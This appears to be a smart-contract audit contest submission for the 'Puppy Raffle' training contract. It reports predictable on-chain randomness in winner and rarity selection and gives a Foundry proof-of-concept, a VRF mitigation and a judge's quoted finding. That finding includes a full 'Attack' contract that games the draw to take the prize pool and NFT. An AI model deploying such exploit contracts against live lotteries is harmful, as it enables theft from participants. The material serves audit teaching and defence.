Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Winner and rarity use manipulable on-chain

cryptocrucible

### Root + Impact
​
**Normal behavior:** A random, unbiased draw selects the winner and NFT rarity after the raffle period.
​
**Issue:** Randomness is `keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))` modulo `players.length`. All inputs are visible or influenceable at transaction time. Any caller can precompute the winning index off-chain and only call `selectWinner()` when they win. Block builders/validators can bias `block.timestamp` and post-merge `block.difficulty` (PREVRANDAO) within protocol limits.
​
```solidity
// @> fully public entropy
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
...
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
```
​
**Interacts with:** H-01, C-01 (modulo includes zeroed refund slots)
​
## Risk
​
**Likelihood:**
- A searcher or entrant simulates the draw before broadcasting `selectWinner()`.
- MEV bots routinely exploit predictable pseudo-randomness in raffles and lotteries.
​
**Impact:**
- Winner selection is not fair; sophisticated actors capture prize pool and rare NFTs disproportionately.
- Undermines core product trust for a raffle protocol.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
/// @notice PoC for H-02: winner index is fully determined by public block/caller entropy.
contract H_02_WeakPredictablePRNG is Test {
function test_poc() public {
PuppyRaffle raffle = new PuppyRaffle(1 ether, address(99), 1 days);
​
address[] memory players = new address[](4);
players[0] = address(1);
players[1] = address(2);
players[2] = address(3);
players[3] = address(4);
raffle.enterRaffle{value: 4 ether}(players);
​
vm.warp(block.timestamp + 1 days + 1);
​
uint256 predicted =
uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % 4;
​
raffle.selectWinner();
assertEq(raffle.previousWinner(), players[predicted]);
}
}

Recommended Mitigation

## Recommended Mitigation
​
- Replace with Chainlink VRF, RANDAO commit-reveal, or another auditable external randomness source.
- Sample only over active players after fixing refund accounting.
​
```diff
-uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+uint256 winnerIndex = _drawFromVRF(activePlayerCount);
```
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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